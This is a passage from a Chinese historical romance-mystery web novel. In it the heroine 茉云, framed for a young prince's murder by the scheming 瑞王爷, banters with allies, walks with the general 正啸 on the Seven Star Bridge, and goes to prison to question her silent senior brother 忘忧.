若辰温润的笑了，半分不恼的说道：“我抱怨了，他将我赶了出去！”
“此刻他带兵闯了南华城，我被控杀了小王爷……哎，可这些俗务跟如清风雅月的关公子着实不搭！”茉云指向窗外叹息道，“眼看就要入冬了，那首诗怎么写的，万山载雪，明月薄之，月不能光，雪皆呆白！大将军何苦如此为难咱们贵贵！”
“扑哧”众人再也隐忍不住哄堂大笑，正啸亦被逗笑了，自从茉云听人说起圣上曾赞誉若辰，人品贵重，诗文亦贵，贵贵就变成了茉云给若辰取的雅号。
“我用心干活还不成吗？”若辰亦无语的笑了说道，“你那案查得如何？”
“没想到瑞王爷属下着实还挺强干的！”茉云开心的拿起酒壶倒着酒说，“山中那些女子的尸首收拾得一个都不剩，可见也是干得事之人！”
众人皆望向茉云一脸风轻云淡的样子，要知道谋杀小王爷是如此大罪。
“那你打算如何？”执礼望向茉云说道。
茉云一杯酒下肚说道：“我准备搞得成的就搞，搞不成就跑，要知道在南华跑路是我常干的事，我十岁不到就从这儿跑路过，轻车熟路！”
众人都熟悉了茉云之腔调，平素就是没正经的。
“我倒是好奇，你为何如此熟悉，一进城就找到了她？”若辰望向正啸笑了说道。
“找什么？我刚进城，那地就爆炸了！”正啸无语的说道，“谁能来炸南华？”
“我啊！”茉云理直气壮且满脸自豪的说道，“当日跑路的时候，我就撂了狠话的，待来日定回来炸了这南华，绝不食言！”
众人看向正啸那忿然又无可奈何的表情，忍不住又哄堂大笑。此时腾腾正好去接了穆棱来，执礼按照正啸的意思，特意安排让他们也住进别苑，有个照应亦能保证安全。
“大将军，关大人，诸位将军，大人！”穆棱恭敬的行礼说道。
“无需多礼，腾腾让你二叔坐！”正啸温和的说道。
众人都看得出来，正啸待茉云的家人亦非常亲厚。
“这是……玉家学院！”穆棱瞧着四周望向茉云说道。
“啊！这里曾经是玉家学院！”茉云想着就乐了说，“我幼时来投靠舅舅家，舅舅就是把我和二哥放在这个学堂，结果……”
“结果什么？”
“结果他们学院，皆是大少爷，大小姐眼高于顶，才气逼人，日日奚落于我，哎，我只得弃文从武，走上这条莽撞的道路！”
穆棱无语的接过话说：“什么啊？她不知道去找谁学了点身手，将那些大少爷全揍了，被赶出了学院，从此走上了疯癫之路！”
“疯癫之路？”
“对，哎……你就是会看见街上有一个女疯子，日日蓬头垢面，扎一个冲天炮，只要碰见大户人家的孩子敢说她一句，她上去骑着就打，打一路！我和大哥皆以为她中邪了！”
“看见没有，你两皆是大户人家的孩子，我第一次见他只是给他下药，
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第一次见你只是一掌将你打晕，那都是我成长了！”茉云顿时喜笑颜开的看向若辰说道，“我小时候才叫做无所畏惧，锐不可当，且毫无底线！”
众人顷刻又哄堂大笑，正啸则看向茉云没有说什么，自己从见到茉云起，她对权贵和富家子弟的恨意一直深埋心底，许是就是在此时种下的。
深夜正啸感受到了茉云带着万莫飞身离开了别苑，他亦没有阻止。
夜色如此深沉，走在南华街上抬头望向那高耸的牌坊，忽然忆起了当年，幼时夜里她就是独自坐在街角暗处，偷偷抹着眼泪。
她的父亲明明是为了南境民众的安康殉职，她家破人亡来投奔舅舅家，却遭到的都是羞辱和白眼，更甚有人议论，他娘当年嫁给一个莽夫，这便是自食恶果……
她深吸一口气晃晃头，无需执着于往事，她带着万莫潜入了昆家，昆家的宅院此刻才真是显得格外静谧，但也笼罩着一股沉重的哀痛。
大门紧闭，门内挂着白色的幡帛象征着哀丧之意，昆家只能悄悄的为火灾中丧生的昆少举行葬礼。深夜已经无人在旁，只剩下四周的风拂过枯枝的沙沙声，院中隐约飘荡着纸钱被烧得化为灰烬味道。
而大堂中棺木就安置在堂中央，白布覆盖着棺盖，显得格外肃穆和寂寥。
茉云缓步走近棺木，她的手中握着一条断了的项链，那是她今日去后山从昆家别苑外捡到的，项链并不起眼，但是他认识这是昆家大少爷自小从不离身之物，是他母亲留给他的遗物。
她轻轻将项链放在棺木上，仿佛不愿惊动这儿的一切和那寂静的夜，默默地转身离开了昆家。
而昆家之中，芸莲看向昆老爷，那暴戾的面容好像被瞬间击溃，他走到了棺木前，拿起亦认清了那条项链，顿时再也隐忍不住，伏在棺木之上嚎啕大哭。
芸莲眼中却闪过冷漠的寒光，方茉云还是这般厉害，总能轻易戳破一切，让人一瞬间崩溃……
夜深人静，街道上只有寒风瑟瑟和几道月光洒在青石路面上，茉云心中不禁泛起了复杂的情绪。
昆少也许和自己才属一种人，他生前那满腔怨恨而又孤独无助的眼神居然能引起她的深深共鸣。她知道那种感觉，那些无法宣泄的愤怒终将会将一个人推向疯狂的边缘。内心的仇恨与不甘，如同毒蛇般缠绕在心底，慢慢会将人心和人性一同吞没。
然而，她与昆家少爷终究际遇不同……她的脚步停顿了一下，抬头望向明月深吸一口夜风，内心忽然涌起一股暖流。昆少被怨愤吞噬，而自己却被救赎。
那份救赎来自于一个人，一个能看清自己，也能让自己重新看清自己和看清这个世间的人。
茉云加快了脚步回到了玉家别苑，夜色已经如此深沉，别苑里一片静谧，她和万莫轻步走在青石小径上，尽量不发出声响，不想惊扰已酣然入睡的众人。
可当她抬眼望去，却见不远处的屋檐下，正啸房间的烛光还未熄灭，透过窗户洒出微弱的光芒，茉云则轻轻笑了，自中州开始，不论多晚回来，她都能见到他还在忙于公务的烛光，自己便会觉得心安，这微弱的烛光，在夜色中总好似照亮了她回来的路……
待茉云回房之后，正啸没多久便吹灭了烛火，千山静静地退下给他关上房门，千山不知道这是自己的错觉还是什么，他只觉得好像只要茉云在少主身边之时，她未回，少主便不会熄灯入睡。
茉云坐在床头望向窗外星河，幽戎都问她为何这么喜欢遥看星夜，因为不记得从什么时候开始，星河洒到天上，便能映出他的模样……
159.畅然
这几日，瑞王爷并没有按兵不动，反而是利用府衙来步步紧逼，他派人将罗列茉云罪状的文书送至若辰案前。若辰看着顿时眉头微微蹙起，这恐怕已经是瑞王爷针对茉云的一出精心谋划。
从茉云涉嫌杀害小王爷，到她闯入昆家暗害昆少，每一条指控都有理有据好似不容反驳。
不仅将茉云当年在南华城与昆少的过节记载得清清楚楚，作案动机以及案情皆详细陈述，甚至证据严丝合缝到含有一众证人的证词，还有作案工具匕首等物证，似乎所有的线索都指向了茉云。
正啸看完文书亦双手握紧，眼中寒光闪烁，这些证据纯属捏造，却设计得环环相扣，还将所有细微的破绽掩盖得无懈可击，好似真相就在眼前一般。
“瑞王爷的手段果然高超。”执礼放下文书低声道，语气中透着冷冽，“将所有的罪名都堆砌在茉云头上。”
若辰深吸一口气，声音有些凝重，“无论是动机还是作案细节，都无可挑剔。若没有更强有力的反证，恐很难洗清她的嫌疑。”
正啸锁紧了双眉，他都没有想到他们这么短的时间，便能转变风向捏造出这份能置茉云于死地的证词，这份文书一旦上交刑部，茉云肯定将成为众矢之的，谁都知道茉云身上贴着卢家军的标签，这只会让她陷入更加被动局面。
如今的局势已然是风雨欲来，无尽的波涛又在像他们悄然涌动。
“她人呢？”执礼望向千山说道。
千山无语的说道“说是这三日终日带着万莫，在城中吃吃喝喝！”
“她倒是一贯心大！”何友长叹一口气说道。
“还是去把他寻回来吧！”若辰望向正啸说道。
正啸点了一下头，望向身边的人，他们皆睁大了双眼望向正啸，似乎用眼神在说，自己有何能耐能将她抓回来，正啸只得无奈的自己走了出去。
夜已深沉，南华城笼罩在初冬寒风中，瑞王爷的人已经将此案在南华传得沸沸扬扬，城中局势也是扑朔迷离，街上只剩来来往往巡逻的侍卫，百姓早早紧闭的房门，好似处处都显出这座城池里的紧张与压抑。
正啸抬眼望向整个南华，城郊的高塔瞬间映入了眼帘，以前在中州之时，茉云便总在屋顶眺望远方。
他径直往高塔的方向走去，而茉云果然静静地坐在塔顶，任由寒风拂过，远远望向城中那一座座高耸的牌坊，每一座牌坊记载的都是所谓的礼，其实不过是承载这座城最冰冷的记忆。
茉云的思绪被风吹散，渐渐飘回到了从前。那时，她还是个桀骜不驯毫无“礼数”的少女，性格刚烈，不愿低头，最终被南华城的长辈们视为“异类”，落荒而逃。
她曾经如此厌恶过这座城，厌恶那些道貌岸然的“礼”，但如今，她又身处其中面对更大的阴谋，却更多的是感受到了城中人的可悲。
正当她沉思时，忽然脚步声轻轻传来。她转头，正啸的身影就出现在眼前，月光下他显得如此魁梧挺拔，茉云抬起头目光在与正啸四目相触，这一刻心中不知为何瞬间恢复了平静。
茉云顷刻喜笑颜开的指向城中说：“你看，这南华城座座牌楼，还和以前一样，仍然那么高大，我还以为我长大了，它就不会这么高！有什么办法让它们不那么高吗？”
正啸望向茉云温和而平淡的说：“弄垮！”
茉云顷刻被正啸逗乐了，正啸虽未言语，但他的能看见她内心的挣扎。她平素绝对不是逃避的人，往日里碰到如此险恶，她早已大杀八方的将整个城都掀了来破案，可她此刻内心却是动摇的……
“在犹豫什么？”正啸低声说，语气中并没有指责。
茉云愣了半刻沉默了，目光转向远处，夜风吹动她的发丝，眼中透着几分复杂的情绪，在正啸面前她的隐藏总是不堪一击，他为何总是看得清楚自己。
“我……”她的声音有些低沉，“我就是想起了以前的事！”
她最终没有说出来……那个曾经自己如兄如友，陪伴她鼓励她度过艰难岁月的人，如今却卷入了这场阴谋。还是这场诬陷中的重要环节，或许他掌握着最关键的线索，更或许他扮演的就是恶人的角色。
“寒风凛冽，跟我回去。”正啸望向她，好似在静静等待。
茉云沉默片刻，最终轻轻点了点头。两人飞身下来，往玉家别苑走去，一路上茉云显得比以往沉默。
“你可以查查他落入这场阴谋的真实原因。”
茉云晃过神望向正啸，原来他知道……，她吸了口气依旧倔强的说：“我先操心我自己的案子！那可是掉脑袋的……”
“如果我搞不赢，你跑就是了！”正啸侧头看了她一眼，目光温柔且显然有逗乐她的心思。
茉云终于又被逗笑了，她也知道此事现在已经变成了各方力量的博弈了，两人脚步缓慢周围的喧嚣早已消散，只剩下他们之间无声的默契。
夜色如银，凉风吹拂过街道，好像渐渐将压在茉云心头的乌云吹去一般。她转瞬之间神情便轻快了起来，嘴角微扬带着一丝俏皮：“你知道南华盛产什么吗？”
正啸微微挑眉虽然也知道她在强行转移话题，但也知道，她生来就是这乐观的性子，他看向她喜笑颜开的样子，在等她继续说！
茉云迈着轻快的步伐往前走去，边走边兴致勃勃地说道：“贤妻，我幼时就听说，女子啊，一入南华镀层金。但是我舅妈的贴身嬷嬷说，我乃土胚镀不上！”
正啸被逗笑了望向茉云，目光中带着温和与宠溺。
“那边有家醉客居，他们的烧鹅皮脆肉嫩，尤其配上店里的秘制酱汁，妙不可言！我跑路前，一定要诓关若辰请我吃一顿。”茉云说得眉飞色舞，完全忘记了自己身陷重案，刚刚还在忧心重重。
正啸没打断她只是静静听着，任由自己被她的欢快与爽朗感染着，瞬间自己好像也不自觉放松了许多。
走至岔路口，茉云忽然停下脚步，转过身目光闪烁好似想到了什么，于是走向了回玉家别
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苑更远的那条岔路，只因这条岔路会经过七星桥。
七星桥曾有个传说，有缘人站在桥头，星光会随着月光起舞，她小时候去过，觉得那都是骗人的……
正啸亦察觉这是条较远之路，可是他并没有言明，只因此时此刻的他亦觉得自己轻松愉悦的融入了这夜色。
“此处前面有座七星桥，传说到了夜晚……，星光会随着月色起舞，你这么喜欢观星定要看看！”茉云开心的望向正啸，她把有缘人这句省略掉了，“这南华城城中真是了无生趣，但是城郊处处生机盎然，我幼时下了学堂常常偷跑去玩，你们小时候会跑出军营晚吗？”
正啸望向茉云摇摇头：“当日的军中教习异常严厉，别说跑出军营，出了营帐和练武坪有可能都会被一顿暴揍！”
“元帅的儿子也会被揍？”
“打我打得最狠，他是我娘师弟！”
“你娘舅怎么都这般恶狠，还是我舅好！”
两人一路聊慢慢走上七星桥，月光柔和地洒落在他们身上，好似为他们披上了一层银色的轻纱，四周静谧无声，只有潺潺的水声在耳畔回响。
当他们走到桥的中间，夜空中的萤火虫如同一颗颗璀璨的星星，纷纷飞来在黑暗中闪烁。那些微小的光芒在空中萦绕，时而聚集，时而飞散，顷刻为这片宁静的夜编织出一幅灵动的画。
茉云停下脚步脸上满是惊喜，目光在萤火虫的舞动中闪烁着，她仰头望向四野：“原来这就是星星随着月光舞动的意思！”
正啸站在她身旁也被这奇妙的景象吸引，萤火虫在他们身边穿梭，如同在绘制一片属于他们的星空，
他轻轻呼吸唯恐惊动了它们，目光随之转向茉云，茉云亦转身望向他粲然而笑，眼中满是璀璨的星光，让正啸瞬间忘却了所有的阴霾和压力，沉醉于这一刻如梦如幻。
夜色已沉，两人才继续往玉家别苑走，走到岔路口，万家灯火已熄灭，茉云依稀没记起回玉家别苑的路，瞬间飞上屋檐查看，正啸无语的指向前路说道：“这条道！”
“哦！”茉云微微一笑，不知为何心中透出久违的温暖，随即从屋顶轻盈跃下，落在正啸的身后随着他走着……
回到玉家别苑，院里只剩竹影在月光下摇曳，他两并肩走到院中，脚步却慢了下来，周围安静得只剩下风声和竹叶摩擦的细响。
到了分叉口，茉云步子轻快的往自己房间走去，身影逐渐消失在廊下的月光中，正啸亦转身，慢慢走向自己的房间，脑中却不停闪过茉云方才那明亮的笑容。
夜色笼罩了整个别苑，但他心中的舒畅和柔软还萦绕着，好似月光下的叶影，还在随风摇曳撩拨。
正啸推开房门，烛光从屋内洒出，他抬眼便看到若辰和执礼等人正坐在桌旁，应该早已等候多时。两人神情轻松，带着一丝调侃的意味，瞧见他进屋目光齐齐落在他身上。
“且陶陶，乐尽天真。”若辰嘴角挂着一抹意味深长的笑容：“玩得开心否？”
160.直面
执礼起身行礼之时亦忍俊不禁，目光闪烁着几分调侃，正啸身边之人谁又察觉不到他这微妙的情感波动。
正啸走进房内，好像完全看不见他们两人那带着一丝揶揄的神情，径直走向若辰，直接从他手中拿过那份摊开的公文，一边翻阅着，一边缓缓坐下，若有所思。
“刑部柳大人派了瑞林来查此案！”
“想必柳大人就是想让茉云来断案吧！”执礼指着文书说，“瑞林来了，定然是对茉云言听计从。”
“嗯，你们也早些歇息吧。”正啸放下公文，该来的总会来的，前路再多荆棘亦要走，他早已习惯，而此刻自己并不踌躇倒是难得的舒心。
众人离去，正啸躺上床榻缓缓闭上双眼，脑海中仍回荡着今夜在七星桥的美景，自己恍惚间才想起自己出去找她的目的，这几日城中局势愈发紧张，他一路都忘提醒茉云最近几日寸步不得离开他左右。
清晨阳光洒进窗棂，正啸瞬间睁开双眼，只因忽然传来急促的脚步声。他挺身而起，打开房门迎面便是满脸风尘仆仆的父帅。
也许是日夜兼程的赶路，他的鬓角夹杂的几缕白发愈发明显，脸上带着疲惫却又坚定的神色。
“父帅！”正啸心中有几分诧异，元帅本坐阵边关，没想到他竟然如此匆忙地赶来南华。
众人也马上匆匆赶来，上前给元帅行礼。
元帅大手一挥让众人免礼，见到儿子疲惫的脸上露出一丝欣喜，嘴上却严厉说：“让你来谈个军饷之事，又给捅这么大篓子！”
正啸当然知道父帅边关事务本就繁重，还如此辛劳的抽身赶来：“父帅，您不必如此操劳，边关那边……”
结果话还没有说完，就被元帅忿然打断：“是，我还能在边关坐得住，你们一个杀了小王爷，一个带兵打了南华救人！当真是轰轰烈烈啊！那丫头走之时说什么来着，守住万里江山？十万里江山都不够你两祸祸的！”
执礼他们都立刻伏低头忍着笑，正啸一脸的无语，而此时还迷迷糊糊的茉云，看见了元帅则欣喜的冲了出来：“茉云参见元帅，元帅你怎么来了？”
元帅看见茉云便瞬间喜笑颜开的说：“家事与国事皆重要。你们的事情我怎能袖手旁观。”
“元帅你真够意思，不远万里来罩着我们的？”
“放心！”元帅笑了满脸慈祥的摸着胡须点了点头，众人皆知元帅素来赏识茉云，可是看到元帅态度转变如此之大，皆忍俊不禁。
正啸亦更是无语，心中本来满是担忧，但父帅的到来还是让他让他倍感安心，他们父子之间默契仿佛从未中断。
元帅进屋看完瑞王爷的所谓的证据，怒不可斥：“岂有此理，阴谋之言还如此凛然！”
“瑞王爷本来是想谋杀少主的！”执礼轻声望向元帅说道，“此刻针对茉云，只是他退而求其次的阴损伎俩。”
“什么？”
执礼将事情的始末全部禀报了元帅，元帅长长叹了一口气，双眉紧皱的摸着胡须说道：“看来他还是贼心不死啊！”
话还未说完，就听见屋外一阵纷扰，正啸起身推开门去，看见茉云要出院被千山拦了。
“少主吩咐，让您暂时不要离开别苑！”
“拦我？有本事拔剑！”茉云没好气的看向千山。
只听见“嗖”的一声，正啸的剑出鞘了，这熟悉的剑气惊得茉云立即回头，瞬间往后退了一步做出了防御的架势。
“干嘛？”
“你若敢出这院门一步，腿都打断你的！”正啸冲着茉云没好气的骂道。
茉云愣了半刻望向正啸，然后忿然转身回房了，一路委屈的想着昨晚还好好的，怎得今日就变脸这么快，真是难伺候。
元帅则顷刻间没好气的瞪着正啸骂道：“不知道好好说话啊！这个时候来耍起了大将军的威风？”
“恶狗只服粗棍！”正啸亦没好气的说道。
“你这才是恶狗！”这个时候传来了院中茉云边跑边愤怒的回怼声。
众人才忍不住哄堂大笑，正啸恢复了一脸的严峻回到了房中，元帅也被逗笑了，叹着气摇摇头。
茉云没好气的吃着馒头，边将馒头屑喂着池子里的鱼，心中忿然又委屈，可是她却发现了一个问题，每当只有两人独处之时，他都很温和，温和得有时连最起码的距离都没有……若是只有若辰和执礼等人在之时，尚能交流，可是人一多，特别是有他长辈在之时，他态度顷刻变得极为恶劣？
想到此，茉云亦被逗笑了，幼时长辈都说自己人来疯，莫非卢正啸也有，人多了就发疯？
晚上若辰知道茉云在院里憋闷了一天，特意让何友备了一桌好菜，茉云陪着元帅喝酒，两人都笑得前俯后仰，可是她的余光看见，正啸亦是一脸的波澜不惊，好似这世上的所有的快意都与他关系不大。
茉云虽然不能出去，可是最近几日老马他们都在城中游走，这日石川回来复命之时，脸色忿然而凝重，手上握着城中搜来的文章，脸都气得煞白。
“无须因小人之言，恼了自己！”元帅听了众人复命之言，豁达的说道。
本在旁吃的欢欣雀跃的茉云，伸手拿过了石川手上握得已经褶皱的几张纸条，上面赫然写着：
大将军者，嗜血好战之徒也！彼自登将军位以来，凡战无不争，凡敌无不剿，视人命如草芥，喜杀戮而不怜民生。此乃嗜血之行，民怨沸腾，然其依仗圣上之宠，恃功自傲，愈加纵横跋扈。
终日贪图战功，妄图名扬天下，凡事皆求名于上，利于己，欺君于朝。不计百姓之苦，不顾士卒之命，只为夺功，妄称忠臣，实乃以私欲误国。
况乎此人，亦沉溺于声色犬马，常与权贵勾连，骄奢淫逸，忘己之职责。仗着圣上宠爱，纵情声色，日夜宴饮，弃忠义于不顾，视国法如无物。彼之行迹，败坏国纲，扰乱朝堂。
今大将军仗势耀武扬威，恃宠专权，欺下凌上，欺压良善，跋扈无比。彼置纲纪伦常于不顾，视忠良为仇，凡忠言皆阻，凡谗言皆听。其德行败坏，实乃误国误民之奸臣贼子！
若朝廷再纵容此等贼子，必将国祚动摇，天下不宁。愿天道昭彰，早日铲除此奸邪，救天下于危难！
茉云放下字条之时，嘴角轻轻上扬眼神中透出了狠戾，这等贱人贼子，干尽了人世的恶毒事，却辱骂卢正啸奸邪。
众人陪元帅用完膳走了出来，随着元帅才来的东山走出饭堂却轻轻地笑了，执礼都不解的望向他。
“执礼兄无须焦虑，想必这瑞王爷的好日子不久了！”东山温和的逗笑了说道。
“为何？”
“他居然骂大将军是奸邪！”东山拿出手中的纸分析道，“我们能忍……”
“茉云都定然不会放过他！”若辰经过之时接过话笑着说。
“关大人说得即是，上面还说咱们大将军骄奢淫逸！”东山眼神居然有一丝同情说，“哎，尚不论人说的谁来救天下危难，实乃无人能救这造谣者的危难了！”
众人顿时哄堂大笑，若辰抬目望去，茉云已经将他们的四个都叫了过去。
这日晌午传来了消息，瑞林带着圣旨赶到了南华，拜见了两位王爷，夜里到了玉家别苑。瑞林拜见了元帅和正啸等人之后，看见茉云才大摇大摆的走了进来。
“瑞林师兄！”
瑞林看见她两人便像老熟人般攀谈：“方茉云，我已经看了卷宗，人都有铁证，你有啥？”
“我有你啊，师兄！”
“您可别吓我了，这事，圣上，两位王爷，刑部，就连御史台都盯着，我能干嘛？”瑞林顿时故作仓皇失措的说道，“我一个小小的五品官！”
“瑞林师兄，你怎么混这么多年才混个五品官！”茉云端起茶同情的望向瑞林说道。
“敢问您几品啊
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？”瑞林没好气的笑笑说道，“你没品！”
“你才没品！”茉云顿时放下茶杯便怼到，可是说着又气愤地拍着桌子道，“说来也是，宋大人那个骗子，当日还说什么自我入中州，定是坐看云飞起，好，折腾了这么久，一品都没见着！”
“你还想见着一品？那师兄给你出个主意！”瑞林本也是欢腾的性子，他指着正啸和若辰坐着的方向，“你往那边瞧，你得看准了，就京城也只有这样的世家，才能出一品诰命夫人！”
众人顷刻间哄堂大笑，茉云无语的瞪向瑞林：“怎就不派大师兄来？”
“大师兄就这么刚刚好的得风寒了，道都走不动！”瑞林想着没好气的说。
“那孩子咋了？”元帅放下酒杯望向瑞林说道。
“回禀元帅，没事，我临行前去探望了大师兄，我说大师兄前几日看您回来复命还精神奕奕，他说也不知道怎地，远在京城听见方茉云名字，回家就倒了，现如今，连二师兄都镇不住了，自己搭了进去，那妖怪如今定是道行又长了不少，让我万万小心！”瑞林傻笑着回复道。
“你让他等着！”茉云愤然的拍着桌子吼道。
众人又是哄堂大笑，谁都知道他们大师兄景城如今已经是平步青云，假以时日皇上都有意让他执掌刑部侍郎之职，他断事断案都是雷厉风行，果敢不畏权贵，唯独怕了他这个小师妹方茉云。
“好了，不跟你说笑了，你可有应对之法？”
“没有！”
“那你打算如何啊？”
“走一步看一步！”
“他们都说你现在是涉案人员，要将你关进大牢！”瑞林看向茉云吸了一口气说。
元帅听闻放下酒杯马上看向瑞林本要说什么，却被正啸桌下拉住了。
“正好！”茉云望向瑞林说，“我也想见见牢里的人！”
“她这入大牢可安全否？”元帅看向瑞林眼中含着担忧说，“切莫中了敌人的奸计！”
“元帅放心，我已经接管了大牢，专办此案，守着的都是我从刑部带来的人！”
“万莫，你换上刑部守卫的衣服，去守着……”正啸转头望向万莫说道。
茉云顷刻打断反驳道：“不用，就他们还能拿我怎么地？”
“待我话说完！”正啸没好气的继续说道，“万莫去守着，莫让她伤害别人！”
“我疯了啊我！”茉云气愤的嚷道。
“记得她牢旁备几大缸水，”正啸冷冷的瞥了茉云一眼，又看向瑞林说，“以防她把牢又给你点了！”
众人顷刻又笑了，茉云只得咬牙忍着，然后一脸正色默念着城中诋毁正啸文书上的话：“诶，愿天道昭彰，早日铲除此奸邪，救天下于危难！”
众人笑得更是前仰后伏，正啸压根懒得理他，可是他知道茉云想进牢里见见她的师兄……
夜幕低垂月光如水，瑞林的人举着火把，火光在寒风中摇曳，众口铄金流言如潮，瑞王爷派人四处造谣，搅动得南华城中的人心惶惶，街头巷尾尽是对杀人凶手的指责，瑞林作为钦差也不得不将茉云先关押进大牢。
若辰等人送茉云到门口，她依旧一脸风轻云淡，冷冷的月光洒在她的身上，却恍若为她披上了一层坚不可摧的银甲。
正啸没有去，只能遥遥目送她的背影，此时心中如翻江倒海，哪怕知道这只是权宜之计，可是亲眼看见她戴上镣铐，一步步走向大牢，心中还是充满了压抑与无奈，不知道未来她还会因为自己经受多少磨难……
院门缓缓合上，喧嚣热闹的夜晚顷刻归于沉寂，只剩下月光孤零零地洒在地面，夜色如此深沉，城中的一切仿佛都陷入了沉睡，茉云带着镣铐穿过一座座冰冷牌坊，静静往大牢走去，她顷刻间嘴角上扬了。
感谢这些温暖，亦感谢那些罪恶，让我喜，亦让我恨，让我能不慌不忙的刚强，让我去直面和粉碎一切……
161.痴傻
月光如洗，茉云缓步走向大牢，望向那冰冷的牢栅和石墙，周遭弥漫着潮湿与阴寒，但她的内心却早已由迷惘变为坚定。她师兄如今是此案的关键，他就被关押在这座大牢里……
他自小被师傅收养学戏，性子温雅如玉，心怀至纯良善，明明如自己一样生世坎坷，心性却与自己大相径庭，他从不怨愤，总认为人心本善，以最仁德之心看待这个世间，奈何是他，居然走到了今日这步田地。
自己倒要看看，是什么将他逼迫至此！
茉云在大牢里缓缓前行，铁链摩擦声与她的脚步声在寂静中回荡。她心中还有太多未解的疑问：
昆少走了，他是他爹的命根子，昆老爷不可能现在还有心思，在瑞王爷面前长袖善舞，献计在这城中散步谣言，那是谁？
这场对正啸的阴谋到底是缘由是什么？
若这是一场权力争斗，一个已经远离朝堂的王爷卷了哪些势力进来？
这火药又是哪儿来的？
而她此刻唯一知道的是，牢房门被打开，她马上要面对师兄了，旁边就是羁押其师兄的牢笼，她深吸一口气平复了内心的波动，此刻她要凝视这深渊里的亲人了……
她知道这不是一场审讯，反而是她与师兄之间情谊和信任的对决。
她缓缓抬目看向旁边牢房，忘忧正躺在稻草堆上，身上披着一件破旧的薄毯，尽管身处阴暗与寒冷之中，他依旧镇定从容躺在那儿，仿佛此生早已习惯了孤独和冷寂。
“有劳！”茉云看向送他入牢房的差役说道，那人点了一下头便走了。
忘忧却忽然猛地坐起身，好像瞬间清醒过来，因为他听见了自己熟悉的声音，他脸上涌起难以置信的表情，转过头朝旁边的牢房张望而来，幽暗的月光下，旁边的身影勾勒得模糊却熟悉。
他迅速爬起来，疾步走到牢房的栏杆前，双手紧紧握住冰冷的栏杆，眼中的惊诧转为不可思议，顷刻间强烈的情感涌上心头：“茉云！你为何在此！”
茉云不知为何，只要见到师兄便觉心中一暖，灿然而笑喊道：“师兄。”
忘忧几乎无法相信自己的眼睛，他的心中顿时涌起一阵酸楚与焦虑，他本来以为茉云已被救走。
可她如今也被关进了这暗无天日的牢房，他知道自己终究是连累了师妹，此时忘忧整个人显得无比激动，双手死死抓着冰冷的铁栏杆，声音在颤抖：“谁……谁抓了你？你别怕……师兄在此，我一定会护着你的！”
茉云愣了半刻憨笑的点点头，心中却五脏六腑都在翻腾。
师兄还如幼时一样，每每自己淘气回来，师傅气得七窍生烟将她关了禁闭，师兄都会悄悄背着师傅，偷了食物来瞧他，边塞食物给她，边告诉自己别怕，真实一切皆如往日，其实自己从来不怕，倒是师兄总吓得瑟瑟发抖。
“别怕，你放心！”忘忧强作镇定的思虑着，他的声音有些沙哑。
可茉云能感受到，在这一刻，师兄哪怕身陷囹圄无法脱身，但心中所有的顾虑都转向了自己。他眼中满是担忧，好似想要用尽一切有限的力量为她撑起一片安全的天地。
“没事，师兄，我小时候也老被关，习惯了！”茉云坦然的笑了，“师兄，咱别着急！”
忘忧一愣，怔怔地看着她，但他很快也平静了些许，因为茉云眼中从来没有畏惧与慌乱，一如既往的冷静。
他轻轻叹息了一声，栏杆冰冷刺骨，但他双手紧握不放，茉云则靠着栏杆打算坐下，他才马上蹲下伸过手慌乱的将自己牢里的稻草都推了过来，边说道：“等会儿，地上凉！”
“师兄，咱两这身子骨，你就别担心我了，要知道，你唱的是什么角，我唱的是什么角色！”
这话顷刻才把忘忧逗笑了，师傅总让他唱小生，而让茉云唱武打的角色，茉云幼时老抱怨师傅连男女都认不清，可师傅说自己一点都没错。
在这冰冷的牢房中，师兄的心却依旧是炙热的。茉云还记得，当年草率的拜了师傅学戏，师傅指着茉云跟忘忧说将她当做你师妹，要一生待她若兄长，当时师兄点点头，承诺虽然简单，可这一世他待自己都饱含着无尽关怀与爱护。
自己的亲哥虽也都待自己赤诚，可他两神经大条，从小没少给自己挖坑。唯独师兄和青岚，他们都是在世上已举目无亲之人，都将对亲人所有的好给了自己……
“好，师兄，你也坐下歇会儿！”
两人都靠着栏杆坐下，茉云轻轻叹了一口气，声音平静而恳切：“师兄，你可知道琼枝苑的女子沦为昆少和那些达官贵人的玩物吗？”
忘忧摇摇头，眼中都是痛苦的懊恼，他的手微微发抖，咬着牙关却沉默不言，他知道他不管说什么，世人又怎会信，不信也罢，他本就是个罪人。
“师兄，我相信你！”
忘忧怔了半刻望向茉云，看向茉云那灿然的笑容，自己心中好似有一股暖流流淌而过，他知道茉云不会骗自己。
“哎，你以前就老被人骗，所以师傅才终日让你改学唱那种被人骗财骗色的花旦！”茉云长叹了一口气靠着栏杆说道。
忘忧想着又轻轻被逗笑了，自己不由得也想起了那段快乐的时光。
“师兄，这件事极为不简单，你知道背后的人是谁吧？”茉云最终问道。
忘忧沉默片刻，低垂的目光中带着挣扎，但却迟迟没有出声。
“师兄？”茉云当然也察觉到了他的异样。
忘忧的眼神里透着矛盾与痛苦，最终他轻轻摇了摇头，声音有些沙哑：“茉云，对不起，我不能告诉你。”
茉云顷刻有些诧异，她眉头紧蹙满脸的困惑问：“为什么？”
忘忧的脸上浮现出一丝痛楚，他沉重却不迟疑，最终他抬起头，直视着茉云的眼睛，眼中满是深深的歉意：“茉云，我有不能说出真相的理由……就算死，我也不会说，只求你能体谅。”
他的话像是一块沉重的石头砸进了茉云的心湖，激起无数波澜，茉云眼中满是震惊与不解：“什么理由？”
忘忧的目光中满是愧疚，他用力握紧了拳头缓缓低下头，避开了茉云视线，声音低沉而痛苦：“茉云，请你相信我，师兄不会背叛你，亦不能背叛……”
茉云望着忘忧，心中翻涌着复杂的情感，怒火、痛苦、失望交织在一起。可她从未见过这样的师兄，如此坚决却又如此痛苦，他赴死都不怕，却不敢将真相告诉自己。
最终茉云长长叹了口气说道：“好吧，体谅你，不说算了。”
忘忧怔了半刻，缓缓抬目看向茉云，只是深深叹息了一声，他从未想过会有一刻自己和茉云，会因为这沉重的秘密而疏远。
“没事！”茉云却看向忘忧风轻云淡的笑了，因为只要是真相，她都能查出来，“聊这些太无趣了，师兄，咱聊点别的！”
忘忧愣了半刻，自己师妹自小便是如此洒脱开朗，此刻他内心终于感到一丝轻松，至少她没有怪罪于他，两人靠着冰冷的铁栏杆坐着，茉云脸上渐渐恢复了往日的神采，话题也轻松了起来。
“师兄，这些年我们天南地北，分开了这么久，再见你也总是匆匆忙忙，咱也没仔细聊过，你后来怎么又回了南华呢？”茉云笑着问，眼中满是好奇与关切。
